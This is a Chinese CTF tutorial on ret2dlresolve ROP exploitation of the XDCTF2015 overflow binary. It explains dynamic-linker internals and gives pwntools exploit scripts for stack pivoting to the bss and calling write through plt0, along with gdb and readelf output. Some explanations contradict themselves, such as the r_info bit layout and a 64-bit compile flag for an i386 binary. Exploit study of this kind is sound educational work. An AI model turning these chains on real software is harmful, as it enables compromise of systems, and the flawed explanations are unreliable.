高级rop链

1.ret2dlresolve

1.原理以及环境概述

1.处理条件

1.配置实例的环境

建议去github下载题目

ctf-wiki/ctf-challenges (github.com)

源码
/*main.c*/
#include <unistd.h>
#include <stdio.h>
#include <string.h>
void vuln()
{
  char buf[100];
  setbuf(stdin, buf);
  read(0, buf, 256);
}
int main()
{
  char buf[100] = "Welcome to XDCTF2015~!\n";
  setbuf(stdout, buf);
  write(1, buf, strlen(buf));
  vuln();
  return 0;
}
编译
gcc -o ret2dls -m64 -fno-stack-protector ret2dls.c
2.checksec检查保护

NX和ASLR保护开启,栈溢出的泄露较难

image-20240424192514105

2.dl_resolve函数的特性

1.dl_resolve 函数通常不会检查所给定的符号是否越界,而是会根据给定的数据来执行
原理:

作为一个内部的动态链接器函数,其主要任务是解析动态链接库中的符号,并执行相应的函数调用,而不会对参数进行严格的检查

该特性的处理流程:
  1. 函数会接受一个指向要解析的符号字符串的指针,并根据这个字符串来查找相应的符号
  2. 执行与这个符号相关联的函数调用,或者返回相应的函数地址
  3. 这个函数不会检查符号字符串是否有效或者是否越界,而是简单地将其作为参数传递给内部的符号解析函数
  4. 最后执行解析函数
2.dl_resolve 函数的最终解析主要取决于所给定的字符串(这个字符串通常是一个函数名或者其他符号名,用于标识要解析的符号)
原理:

动态链接器会根据给定字符串来查找符号表,找到与之匹配的符号条目,并返回相应的函数地址或者符号值

该特性的处理的流程:
  1. 接受一个指向要解析的符号字符串的指针作为参数
  2. 通过一系列的操作,比如查找符号表、符号绑定、重定位等,来确定所给定的符号对应的函数地址或者符号值
  3. 返回解析得到的结果,以供后续的调用或者处理

3.elf文件结构以及动态链接

参考:pwn—栈的学习(包括基本rop链) – 梦是现实的延续,现实是梦的终结 (giraffexiu.love)

这里主要关注:_dl_runtime_resolve(link_map_obj, reloc_index)函数(用于对动态链接的函数进行重定位)

我们第一次调用一个函数的时候,程序会查找需要链接的各种信息,再通过_dl_runtime_resolve这个函数将正确的地址写进got.plt表中,第二次查询的时候就不需要再走一遍这个过程了,直接就可以调用加载过后的函数

2._dl_runtime_resolve的分析

1.运行_dl_runtime_resolve前的程序流程

请参考前面的栈基础博客,这里做简单的概述(以write函数的调用作为例子)

  1. objdump -d main”命令查找write函数第一次调用以“write@plt”的形式被调用
  2. 第一次jmp跳转到自己的plt表项中(让程序动态解析地址,跳转到got表的对应位置)
  3. 第二次jmp跳转进入公共的plt表项(就是got表)中(在got表中找到真实的地址和偏移)
  4. 第三次jmp跳转进入_dl_runtime_resolve函数中

2._dl_runtime_resolve的运行流程

1.先了解几个定义
1.link_map_obj: 指向程序的 struct link_map 结构体对象的指针
struct link_map {
ElfW(Addr) l_addr; /* 动态链接库的加载基址 */
char *l_name; /* 动态链接库的路径名 */
ElfW(Dyn) *l_ld; /* 动态节表的地址 */
struct link_map *l_next, *l_prev; /* 指向链表中下一个和上一个 link_map 结构体的指针 */
};

l_addr 存储了动态链接库的加载基址,即动态链接库在内存中的起始地址

l_name 则存储了动态链接库的路径名,即动态链接库的文件路径

2.重定位索引

重定位索引(reloc_index)是指在全局符号表中的索引位置表示需要进行重定位的符号在全局符号表中的位置

在动态链接过程中,全局符号表包含了动态链接库中导出的所有符号信息,包括函数名、变量名等

当程序运行时发生动态链接时,需要根据这些符号信息来进行符号解析和重定位

重定位索引通常是一个非负整数,表示需要进行重定位的符号在全局符号表中的位置

具体来说,它指示了在全局符号表中的第几个符号需要进行重定位操作

例如:

  1. 如果重定位索引为 0,表示需要对全局符号表中的第一个符号进行重定位
  2. 如果为 1,表示需要对全局符号表中的第二个符号进行重定位

两个重要字段

  1. r_offset:指示需要进行重定位的位置在可执行文件或动态链接库中的偏移量(offset)在运行时,动态链接器将使用该偏移量找到需要进行重定位的位置,并对其进行修改,以实现动态链接的目的通常,r_offset 是一个指针或地址的偏移量,用于标识需要进行重定位的位置
  2. r_info:是一个32位的字段,包含两部分信息:高16位表示符号表索引(Symbol Index),低16位表示重定位类型(Relocation Type)在32位系统中,r_info 占据整个32位字段在64位系统中,r_info 是一个64位字段的前32位因此,r_info >> 8 是将 r_info 字段向右移动8位,以获取符号表索引(dynsym的下标),即全局符号表中需要重定位的符号在符号表中的索引位置

总体来说

r_offset 指示了需要进行重定位的位置在可执行文件或动态链接库中的偏移量

r_info >> 8 则表示了该重定位表条目所对应的符号在全局符号表中的索引位置

这两个字段共同用于确定重定位的位置和需要重定位的符号。

3.dynamic

Dynamic Section是ELF文件中的一个特殊节区,其中包含了程序在运行时所需的动态链接信息

在Dynamic Section中,常见的包含的条目包括:

  1. 全局符号表(Global Symbol Table):包含了动态链接库导出的所有全局符号(函数名、变量名等)的信息
  2. 重定位表(Relocation Table):存储了需要在程序加载时进行重定位的符号和其对应的重定位类型及位置信息
  3. 字符串表(String Table):存储了各种字符串,包括符号名、动态链接器的错误信息等
4.ELF32_Rel的重要参数

当进行动态链接时,.rel.dyn.rela.dyn 节中的每个 Elf32_Rel 结构体表示一个重定位入口

  1. r_offset:
    • 作用: 表示需要进行重定位的位置在可执行文件或共享库中的偏移量
    • 类型: 通常是一个无符号整数,表示偏移量相对于节的起始地址的字节偏移量
    • 解释: 在 ELF 文件中,每个节(section)都有一个起始地址,r_offset 指示了需要进行重定位的位置相对于所在节的起始地址的偏移量。当动态链接器加载共享库时,它会根据 r_offset 的值找到需要进行重定位的位置,然后根据重定位类型进行相应的重定位操作
  2. r_info:
    • 作用: 包含了重定位信息,如符号表索引和重定位类型
    • 类型: 通常是一个无符号整数,高16位表示符号表索引,低16位表示重定位类型
    • 解释: r_info 字段是一个32位字段,其中高16位用于存储符号表中符号的索引,低16位用于存储重定位类型。通过对 r_info 进行位运算,可以分别获取符号表索引和重定位类型。在动态链接过程中,动态链接器会根据符号表索引找到对应的符号,并根据重定位类型对重定位入口进行相应的重定位操作,以确保程序的正确执行
5.name_offset
  1. name_offset 是动态链接器在解析重定位入口时使用的变量,用于确定需要重定位的符号的名称在动态字符串表(.dynstr)中的偏移量
  2. 在进行重定位时,动态链接器需要将符号表中的索引转换为符号的实际名称,而这个名称存储在动态字符串表中
  3. 因此,name_offset 的值表示了需要重定位的符号名称在动态字符串表中的偏移量
  4. 具体地说,当动态链接器解析重定位入口时,它会首先根据 r_info 中的符号表索引从符号表中找到对应的符号
  5. 然后,动态链接器会根据符号表中的 st_name 字段的值,在动态字符串表中找到符号的名称。name_offset 就是这个名称在动态字符串表中的偏移量,通过将动态字符串表的基地址加上 name_offset,动态链接器可以得到需要重定位的符号的实际名称
  6. 总之,name_offset 变量在动态链接器解析重定位入口时起到了关键作用,它帮助确定了需要重定位的符号名称在动态字符串表中的位置,从而使得动态链接器能够正确地解析和处理重定位
2.函数执行的流程流程图
image-20240425170721366
3.函数执行的详细计算流程
  1. 在link_map_obj中存放.dynamic的基地址,利用dynamic的基地址的偏移可以找到动态字符串,动态符号表,重定位表的基地址
  2. 利用重定位的的基地址加上reloc_index的重定位索引值(偏移)可以得到ELF32的-Rel的结构体指针
  3. 利用ELF32的-Rel中的参数r_info右移8可以得到函数在.dynsym(符号表)中的下标即是符号表的索引(高16位表示符号表索引,低16位表示重定位类型,右移8位操作,可以获取高16位的值)
  4. 动态符号表的基地址加上函数在.dynsym的下标得到函数名在在字符串表的偏移(name_offset)
  5. 前面计算得到的字符串表的基地址加上函数名在字符串表中的偏移得到函数名
4.原理解析
1.rel.plt(重定位表)加上reloc_index从而找到结构体指针的原理

.rel.plt的结构体的源码

typedef struct{
Elf32_Addr r_offset;
Elf32_Word r_info;
}Elf32_Rel

.rel.plt中存放的内容都是以[r_offset1,r_info1]、[r_offset2,r_info2]、[r_offset3,r_info3]…这种形式存放的

.rel.plt中有多少个函数,就会有多少个这样的组合

可以使用命令查看

readelf -x .rel.plt main
image-20240425173223014
2.r_info进行右移8的原理

举个例子理解:

假设r_info是0x00000107

107代表的是偏移为1的导入函数

07代表的是导入函数的意思
把07看做成一个标志位,真正进行偏移运算的只有前面的1

所以需要对r_info进行右移8的操作将后面的标志位07去掉

保留前面需要计算的偏移

3.下标和偏移的区别

本质相同,但是单位不同

下标是以结构体为单位的,而偏移是以字节为单位的

下标是以结构体为单位的,而偏移是以字节为单位的

3.攻击的利用思路

概述

这里利用关键在与reloc_index的对应的而要找的函数,可以尝试通过控制相应的参数以及对应的地址从而控制解析函数

具体实现思路

  1. 控制程序执行_dl_runtime_resolve函数->传入理想的link_map ,reloc_index
  2. 控制index的大小,从而控制流程指向自己的控制区域->从而伪造一个指定的重定位表项
  3. 伪造重定位表项->从而控制重定位表项指向的符号都是可控的
  4. 伪造符号内容,使得符号对应的名称也是可控的

4.实例讲解

这里我会将对于rdl函数的迁移分为6个部分进行拆分讲解,进行新的栈的构造的分部讲解

1.计算栈溢出长度

1.利用指令创建200个随机字符
cyclic
2.gdb直接run,然后直接传入200个字符串
image-20240425202145000
┌──(kali㉿kali)-[~/Desktop/question/pwn/ctf_wiki]
└─$ gdb main
GNU gdb (Debian 13.2-1) 13.2
Copyright (C) 2023 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<https://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".
Type "apropos word" to search for commands related to "word"...
pwndbg: loaded 156 pwndbg commands and 47 shell commands. Type pwndbg [--shell | --all] [filter] for a list.
pwndbg: created $rebase, $base, $ida GDB functions (can be used with print/break)
Reading symbols from main...
(No debugging symbols found in main)
------- tip of the day (disable with set show-tips off) -------
Pwndbg sets the SIGLARM, SIGBUS, SIGPIPE and SIGSEGV signals so they are not passed to the app; see info signals for full GDB signals configuration
pwndbg> r
Starting program: /home/kali/Desktop/question/pwn/ctf_wiki/main
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Welcome to XDCTF2015~!
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab

Program received signal SIGSEGV, Segmentation fault.
0x62616164 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
──────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]──────────────────────
*EAX 0xc9
*EBX 0x62616162 ('baab')
*ECX 0xffffce7c ◂— 0x61616161 ('aaaa')
*EDX 0x100
*EDI 0xffffcf60 —▸ 0xf7c216ac ◂— 0x21e04c
*ESI 0x80485f0 (__libc_csu_init) ◂— push ebp
*EBP 0x62616163 ('caab')
*ESP 0xffffcef0 ◂— 'eaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab\n'
*EIP 0x62616164 ('daab')
────────────────────────────────[ DISASM / i386 / set emulate on ]────────────────────────────────
Invalid address 0x62616164

────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────
00:0000│ esp 0xffffcef0 ◂— 'eaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab\n'
01:0004│ 0xffffcef4 ◂— 'faabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab\n'
02:0008│ 0xffffcef8 ◂— 'gaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab\n'
03:000c│ 0xffffcefc ◂— 'haabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab\n'
04:0010│ 0xffffcf00 ◂— 'iaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab\n'
05:0014│ 0xffffcf04 ◂— 'jaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab\n'
06:0018│ 0xffffcf08 ◂— 'kaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab\n'
07:001c│ 0xffffcf0c ◂— 'laabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab\n'
──────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────
► 0 0x62616164
1 0x62616165
2 0x62616166
3 0x62616167
4 0x62616168
5 0x62616169
6 0x6261616a
7 0x6261616b
──────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg>
3.利用指令计算出溢出的长度
cyclic -l 0x62616164

注意这里减去的是gdb这里指向的第一个地址

image-20240425202447828
4.得到栈溢出的大小
image-20240425202553651

大小为112个字节

2.STAGE1

这里需要用到栈迁移的方法:关于栈迁移的原理引自我的博客,这里就不再多讲述栈迁移的原理以及实例分析 – 梦是现实的延续,现实是梦的终结 (giraffexiu.love)

理解后可以对堆栈进行如下的布局

   +---------------------+
| 0x100 |read函数3参
+---------------------+
| fake ebp1地址 |read函数2参
+---------------------+
| 0 |read函数1参
+---------------------+
| leave_ret |read函数返回地址
+---------------------+
esp| read |read函数 bss段或data段
+---------------------+ +---------------------+
ebp| fake ebp1地址 |save ebp | |fake ebp2
+---------------------+ +---------------------+ ^
| holl |填充 | | |
| .... |填充 +---------------------+ 0x100
| kdig |填充 | | |
| holl |填充 +---------------------+ v
| kdig |填充 | fake ebp2 |fake ebp1
| holl |填充 +---------------------+
+---------------------+
1.栈溢出的利用思路
  1. 使用字符串将缓冲区填满,将原有saved ebp位置修改为bss某处地址fake ebp1
  2. 执行read函数时会向bss段fake ebp1写0x100个字节(fake ebp2)
  3. read函数执行结束后返回到 leave_ret的gadget
  4. 执行leave_ret操作
2.思路详悉
1.在第一步mov esp,ebp执行结束后,esp和ebp寄存器里面的值相同(bss段的地址fake ebp1)
       +---------------------+
| 0x100 |read函数3参
+---------------------+
| fake ebp1地址 |read函数2参
+---------------------+
| 0 |read函数1参
+---------------------+
| leave_ret |read函数返回地址
+---------------------+
| read |read函数 bss段或data段
+---------------------+ +---------------------+
esp/ebp| fake ebp1地址 |save ebp | |fake ebp2
+---------------------+ +---------------------+ ^
| holl |填充 | | |
| .... |填充 +---------------------+ 0x100
| kdig |填充 | | |
| holl |填充 +---------------------+ v
| kdig |填充 esp/ebp--->| fake ebp2 |fake ebp1
| holl |填充 +---------------------+
+---------------------+
2.第二步pop ebp执行,向ebp寄存器pop esp,此时esp的值为fake ebp2,这样ebp的值也变成fake ebp2
       +---------------------+
| 0x100 |read函数3参
+---------------------+
| fake ebp1地址 |read函数2参
+---------------------+
| 0 |read函数1参
+---------------------+
| leave_ret |read函数返回地址
+---------------------+
| read |read函数 bss段或data段
+---------------------+ +---------------------+
| fake ebp1地址 |save ebp ebp--->| |fake ebp2
+---------------------+ +---------------------+ ^
| holl |填充 | | |
| .... |填充 +---------------------+ 0x100
| kdig |填充 esp--->| 部署的函数 | |
| holl |填充 +---------------------+ v
| kdig |填充 | fake ebp2 |fake ebp1
| holl |填充 +---------------------+
+---------------------+
3.pop操作结束之后,esp内的值会-1,这个时候就刚好指向我们部署的函数
4.接下来的ret操作就会执行部署的函数
5.控制write函数输出相应字符串及栈布局

注意bss段数据是由低地址向高地址扩散的

      低地址位 	 +---------------------+
| write | <----ret
+---------------------+
| write_ret | write函数返回地址
+---------------------+
| 1 | write函数1参
+---------------------+
| /bin/sh地址 | write函数2参,/bin/sh字符串所在地址
+---------------------+
| 7 | write函数3参
+---------------------+
| aaaa | 填充
| .... | 填充
| aaaa | 填充
+---------------------+
| /bin/sh | /bin/sh字符串
+---------------------+
| aaaa |
| .... |
| aaaa |
高地址位 +---------------------+
3.EXP
from pwn import *
elf = ELF('main')
r = process('./main')
rop = ROP('./main')

offset = 112
bss_addr = elf.bss() #获取bss段首地址

r.recvuntil('Welcome to XDCTF2015~!\n')

## 将栈迁移到bss段
## 新栈空间大小为0x800
stack_size = 0x800
base_stage = bss_addr + stack_size
### 填充缓冲区
rop.raw('a' * offset)
### 向新栈中写100个字节
##rop.read会自动完成read函数、函数参数、返回地址的栈部署
rop.read(0, base_stage, 100)
### 栈迁移, 设置esp = base_stage
##rop.migrate会利用leave_ret自动部署迁移工作
rop.migrate(base_stage)
r.sendline(rop.chain())

## 打印字符串"/bin/sh"
rop = ROP('./main')
sh = "/bin/sh"
##rop.write会自动完成write函数、函数参数、返回地址的栈部署
rop.write(1, base_stage + 80, len(sh))
rop.raw('a' * (80 - len(rop.chain())))
rop.raw(sh)
rop.raw('a' * (100 - len(rop.chain())))

r.sendline(rop.chain())
r.interactive()

3.STAGE2

1.关键:利用dlresolve相关知识来控制执行write函数

前面我们的write函数是直接调用的这里我们要通过plt[0]中的push linkmap以及跳转到dl_resolve函数中的方式调用write函数

需要在新栈中模拟对.rel.plt进行迁移

即是模拟红框的位置:

image-20240503151327946
2.在st1的基础上的数据
1.plt[0]的地址

plt[0]可以通过pwntools直接获取

2.write函数的重定位索引

通过write_plt来计算

.plt的每结构体占16个字节,可以使用命令“readelf -x .plt main”看一下程序的.plt结构

image-20240503153255446

这个地方的

0x08048324 e09f0408 07010000 e49f0408 07020000 ................

就是plt[0],占用16个字节,作为结构体的而一部分(即是头部)

plt和ret.plt的对应示意图
image-20240503154419020

简析:

这里见如write函数是对应的plt表中的第三个结构体,这里再ret.plt表中对应的就应该是第二结构体

通过公式:

write_plt - plt[0]

计算得到plt中write相对plt[0]的距离(除以每个结构体的大小==(16个字节)==,就可以得到write函数是第几个结构体),从而得到在ret.plt表的结构体位置就是plt表中的位置减一(在retplt中的每个结体的大小为8个字节)

所以最终的公式就是:
write_index = [(write_plt - plt[0])/16 - 1] * 8
3.bss段的栈中布局
  低地址位 	
+---------------------+
| plt0 | <----ret
+---------------------+
| write_index | write函数在.rel.plt的重定位索引
+---------------------+
| bbbb | write函数返回地址
+---------------------+
| 1 | write函数1参
+---------------------+
| /bin/sh地址 | write函数2参,/bin/sh字符串所在地址
+---------------------+
| 7 | write函数3参
+---------------------+
| aaaa | 填充
| .... | 填充
| aaaa | 填充
+---------------------+
| /bin/sh | /bin/sh字符串
+---------------------+
| aaaa |
| .... |
| aaaa |
高地址位 +---------------------+
4.理解调用dl_runtime_resovle,理解栈中部署plt[0]和write_plt达到调用write函数的作用

简单来说的dl_runtime_resovle

call  write@plt
jump next addr
push reloc_arg(dl_runtime_resovle的1参,也就是write_index)
jump --> 公共plt表项(plt0)
push link_map
jump --> dl_runtime_resovle

在栈中的plt0和write_index就是跳过了call的过程

模拟push reloc_arg和jump 公共plt表项这两个步骤

接下来程序会顺着往下运行dl_runtime_resovle函数

从而起到和直接调用write函数一样的作用

5.EXP
from pwn import *
elf = ELF('main')
r = process('./main')
rop = ROP('./main')

offset = 112
bss_addr = elf.bss() #获取bss段首地址

r.recvuntil('Welcome to XDCTF2015~!\n')

## 将栈迁移到bss段
## 新栈空间大小为0x800
stack_size = 0x800
base_stage = bss_addr + stack_size
### 填充缓冲区
rop.raw('a' * offset)
### 向新栈中写100个字节
##rop.read会自动完成read函数、函数参数、返回地址的栈部署
rop.read(0, base_stage, 100)
### 栈迁移, 设置esp = base_stage
##rop.migrate会利用leave_ret自动部署迁移工作
rop.migrate(base_stage)
r.sendline(rop.chain())

## write cmd="/bin/sh"
rop = ROP('./main')
sh = "/bin/sh"

##获取plt0地址
plt0 = elf.get_section_by_name('.plt').header.sh_addr
##计算write函数重定位索引
write_index = (elf.plt['write'] - plt0) / 16 - 1
write_index *= 8
rop.raw(plt0)
rop.raw(write_index)
## fake ret addr of write
rop.raw('bbbb') ##write函数返回地址
rop.raw(1) ##write函数1参
rop.raw(base_stage + 80) ##write函数2参
rop.raw(len(sh)) ##write函数3参
rop.raw('a' * (80 - len(rop.chain())))
rop.raw(sh)
rop.raw('a' * (100 - len(rop.chain())))

r.sendline(rop.chain())
r.interactive()

4.STAGE3

1.关键思路

STA2我们利用plt表来计算reloc_index的值,STA3绕过.rel.plt + reloc_index的计算,直接让程序指向write函数的Elf32_Rel结构体

结构体的迁移

image-20240503171220293
2.构建结构体成员

如果在新栈中,ret位是plt0的话,

就需要一个地址将整个流程指向我们需要伪造的write_Elf32_Rel结构体

write函数在.rel.plt的结构体构建方式:

typedef struct {
Elf32_Addr r_offset; // 需要重定位的目标地址
Elf32_Word r_info; // 存储重定位信息,高位表示重定位类型,低位表示需要重定位的符号索引
} Elf32_Rel; // ELF32的重定位条目结构体

这里需要模拟两个成员变量r_offset,r_info

1.r_offset

r_offset可以通过pwntools的的elf模块自动获取,这个成员变量就是write函数在got表的偏移write_got = elf.got[‘write’]

2.r_info

可以通过readelf这个工具来查看,输入命令

readelf -a 文件名
  1. 查看文件头部信息:显示 ELF 文件的头部信息,包括 ELF 文件类型、目标体系结构、入口地址、节头表和段表的偏移量等。
  2. 查看节表信息:显示 ELF 文件中所有节(section)的信息,包括每个节的名称、类型、大小、偏移量、标志等。
  3. 查看段表信息:显示 ELF 文件中所有段(segment)的信息,包括每个段的类型、偏移量、大小、标志等。
  4. 查看符号表信息:显示 ELF 文件的符号表信息,包括全局符号、局部符号、符号类型、符号绑定信息等。
  5. 查看重定位表信息:显示 ELF 文件中的重定位表信息,包括每个重定位条目的偏移量、类型、符号索引等。
┌──(kali㉿kali)-[~/Desktop/question/pwn/ctf_wiki]
└─$ readelf -a rdl
ELF 头:
Magic: 7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00
类别: ELF32
数据: 2 补码,小端序 (little endian)
Version: 1 (current)
OS/ABI: UNIX - System V
ABI 版本: 0
类型: EXEC (可执行文件)
系统架构: Intel 80386
版本: 0x1
入口点地址: 0x80483e0
程序头起点: 52 (bytes into file)
Start of section headers: 6080 (bytes into file)
标志: 0x0
Size of this header: 52 (bytes)
Size of program headers: 32 (bytes)
Number of program headers: 9
Size of section headers: 40 (bytes)
Number of section headers: 29
Section header string table index: 28

节头:
[Nr] Name Type Addr Off Size ES Flg Lk Inf Al
[ 0] NULL 00000000 000000 000000 00 0 0 0
[ 1] .interp PROGBITS 08048154 000154 000013 00 A 0 0 1
[ 2] .note.ABI-tag NOTE 08048168 000168 000020 00 A 0 0 4
[ 3] .note.gnu.bu[...] NOTE 08048188 000188 000024 00 A 0 0 4
[ 4] .gnu.hash GNU_HASH 080481ac 0001ac 000020 04 A 5 0 4
[ 5] .dynsym DYNSYM 080481cc 0001cc 0000a0 10 A 6 1 4
[ 6] .dynstr STRTAB 0804826c 00026c 00006b 00 A 0 0 1
[ 7] .gnu.version VERSYM 080482d8 0002d8 000014 02 A 5 0 2
[ 8] .gnu.version_r VERNEED 080482ec 0002ec 000020 00 A 6 1 4
[ 9] .rel.dyn REL 0804830c 00030c 000018 08 A 5 0 4
[10] .rel.plt REL 08048324 000324 000028 08 AI 5 22 4
[11] .init PROGBITS 0804834c 00034c 000023 00 AX 0 0 4
[12] .plt PROGBITS 08048370 000370 000060 04 AX 0 0 16
[13] .plt.got PROGBITS 080483d0 0003d0 000008 08 AX 0 0 8
[14] .text PROGBITS 080483e0 0003e0 000272 00 AX 0 0 16
[15] .fini PROGBITS 08048654 000654 000014 00 AX 0 0 4
[16] .rodata PROGBITS 08048668 000668 000008 00 A 0 0 4
[17] .eh_frame_hdr PROGBITS 08048670 000670 000044 00 A 0 0 4
[18] .eh_frame PROGBITS 080486b4 0006b4 000128 00 A 0 0 4
[19] .init_array INIT_ARRAY 08049ed4 000ed4 000004 04 WA 0 0 4
[20] .fini_array FINI_ARRAY 08049ed8 000ed8 000004 04 WA 0 0 4
[21] .dynamic DYNAMIC 08049edc 000edc 0000f8 08 WA 6 0 4
[22] .got PROGBITS 08049fd4 000fd4 00002c 04 WA 0 0 4
[23] .data PROGBITS 0804a000 001000 000008 00 WA 0 0 4
[24] .bss NOBITS 0804a008 001008 000004 00 WA 0 0 1
[25] .comment PROGBITS 00000000 001008 000029 01 MS 0 0 1
[26] .symtab SYMTAB 00000000 001034 000450 10 27 43 4
[27] .strtab STRTAB 00000000 001484 00023e 00 0 0 1
[28] .shstrtab STRTAB 00000000 0016c2 0000fc 00 0 0 1
Key to Flags:
W (write), A (alloc), X (execute), M (merge), S (strings), I (info),
L (link order), O (extra OS processing required), G (group), T (TLS),
C (compressed), x (unknown), o (OS specific), E (exclude),
D (mbind), p (processor specific)

There are no section groups in this file.

程序头:
Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align
PHDR 0x000034 0x08048034 0x08048034 0x00120 0x00120 R 0x4
INTERP 0x000154 0x08048154 0x08048154 0x00013 0x00013 R 0x1
[Requesting program interpreter: /lib/ld-linux.so.2]
LOAD 0x000000 0x08048000 0x08048000 0x007dc 0x007dc R E 0x1000
LOAD 0x000ed4 0x08049ed4 0x08049ed4 0x00134 0x00138 RW 0x1000
DYNAMIC 0x000edc 0x08049edc 0x08049edc 0x000f8 0x000f8 RW 0x4
NOTE 0x000168 0x08048168 0x08048168 0x00044 0x00044 R 0x4
GNU_EH_FRAME 0x000670 0x08048670 0x08048670 0x00044 0x00044 R 0x4
GNU_STACK 0x000000 0x00000000 0x00000000 0x00000 0x00000 RW 0x10
GNU_RELRO 0x000ed4 0x08049ed4 0x08049ed4 0x0012c 0x0012c R 0x1

Section to Segment mapping:
段节...
00
01 .interp
02 .interp .note.ABI-tag .note.gnu.build-id .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rel.dyn .rel.plt .init .plt .plt.got .text .fini .rodata .eh_frame_hdr .eh_frame
03 .init_array .fini_array .dynamic .got .data .bss
04 .dynamic
05 .note.ABI-tag .note.gnu.build-id
06 .eh_frame_hdr
07
08 .init_array .fini_array .dynamic .got

Dynamic section at offset 0xedc contains 26 entries:
标记 类型 名称/值
0x00000001 (NEEDED) 共享库:[libc.so.6]
0x0000000c (INIT) 0x804834c
0x0000000d (FINI) 0x8048654
0x00000019 (INIT_ARRAY) 0x8049ed4
0x0000001b (INIT_ARRAYSZ) 4 (bytes)
0x0000001a (FINI_ARRAY) 0x8049ed8
0x0000001c (FINI_ARRAYSZ) 4 (bytes)
0x6ffffef5 (GNU_HASH) 0x80481ac
0x00000005 (STRTAB) 0x804826c
0x00000006 (SYMTAB) 0x80481cc
0x0000000a (STRSZ) 107 (bytes)
0x0000000b (SYMENT) 16 (bytes)
0x00000015 (DEBUG) 0x0
0x00000003 (PLTGOT) 0x8049fd4
0x00000002 (PLTRELSZ) 40 (bytes)
0x00000014 (PLTREL) REL
0x00000017 (JMPREL) 0x8048324
0x00000011 (REL) 0x804830c
0x00000012 (RELSZ) 24 (bytes)
0x00000013 (RELENT) 8 (bytes)
0x0000001e (FLAGS) BIND_NOW
0x6ffffffb (FLAGS_1) 标志: NOW
0x6ffffffe (VERNEED) 0x80482ec
0x6fffffff (VERNEEDNUM) 1
0x6ffffff0 (VERSYM) 0x80482d8
0x00000000 (NULL) 0x0

重定位节 '.rel.dyn' at offset 0x30c contains 3 entries:
偏移量 信息 类型 符号值 符号名称
08049ff4 00000306 R_386_GLOB_DAT 00000000 __gmon_start__
08049ff8 00000706 R_386_GLOB_DAT 00000000 stdin@GLIBC_2.0
08049ffc 00000806 R_386_GLOB_DAT 00000000 stdout@GLIBC_2.0

重定位节 '.rel.plt' at offset 0x324 contains 5 entries:
偏移量 信息 类型 符号值 符号名称
08049fe0 00000107 R_386_JUMP_SLOT 00000000 setbuf@GLIBC_2.0
08049fe4 00000207 R_386_JUMP_SLOT 00000000 read@GLIBC_2.0
08049fe8 00000407 R_386_JUMP_SLOT 00000000 strlen@GLIBC_2.0
08049fec 00000507 R_386_JUMP_SLOT 00000000 __libc_start_main@GLIBC_2.0
08049ff0 00000607 R_386_JUMP_SLOT 00000000 write@GLIBC_2.0
No processor specific unwind information to decode

Symbol table '.dynsym' contains 10 entries:
Num: Value Size Type Bind Vis Ndx Name
0: 00000000 0 NOTYPE LOCAL DEFAULT UND
1: 00000000 0 FUNC GLOBAL DEFAULT UND setbuf@GLIBC_2.0 (2)
2: 00000000 0 FUNC GLOBAL DEFAULT UND read@GLIBC_2.0 (2)
3: 00000000 0 NOTYPE WEAK DEFAULT UND __gmon_start__
4: 00000000 0 FUNC GLOBAL DEFAULT UND strlen@GLIBC_2.0 (2)
5: 00000000 0 FUNC GLOBAL DEFAULT UND __[...]@GLIBC_2.0 (2)
6: 00000000 0 FUNC GLOBAL DEFAULT UND write@GLIBC_2.0 (2)
7: 00000000 0 OBJECT GLOBAL DEFAULT UND stdin@GLIBC_2.0 (2)
8: 00000000 0 OBJECT GLOBAL DEFAULT UND stdout@GLIBC_2.0 (2)
9: 0804866c 4 OBJECT GLOBAL DEFAULT 16 _IO_stdin_used

Symbol table '.symtab' contains 69 entries:
Num: Value Size Type Bind Vis Ndx Name
0: 00000000 0 NOTYPE LOCAL DEFAULT UND
1: 08048154 0 SECTION LOCAL DEFAULT 1 .interp
2: 08048168 0 SECTION LOCAL DEFAULT 2 .note.ABI-tag
3: 08048188 0 SECTION LOCAL DEFAULT 3 .note.gnu.build-id
4: 080481ac 0 SECTION LOCAL DEFAULT 4 .gnu.hash
5: 080481cc 0 SECTION LOCAL DEFAULT 5 .dynsym
6: 0804826c 0 SECTION LOCAL DEFAULT 6 .dynstr
7: 080482d8 0 SECTION LOCAL DEFAULT 7 .gnu.version
8: 080482ec 0 SECTION LOCAL DEFAULT 8 .gnu.version_r
9: 0804830c 0 SECTION LOCAL DEFAULT 9 .rel.dyn
10: 08048324 0 SECTION LOCAL DEFAULT 10 .rel.plt
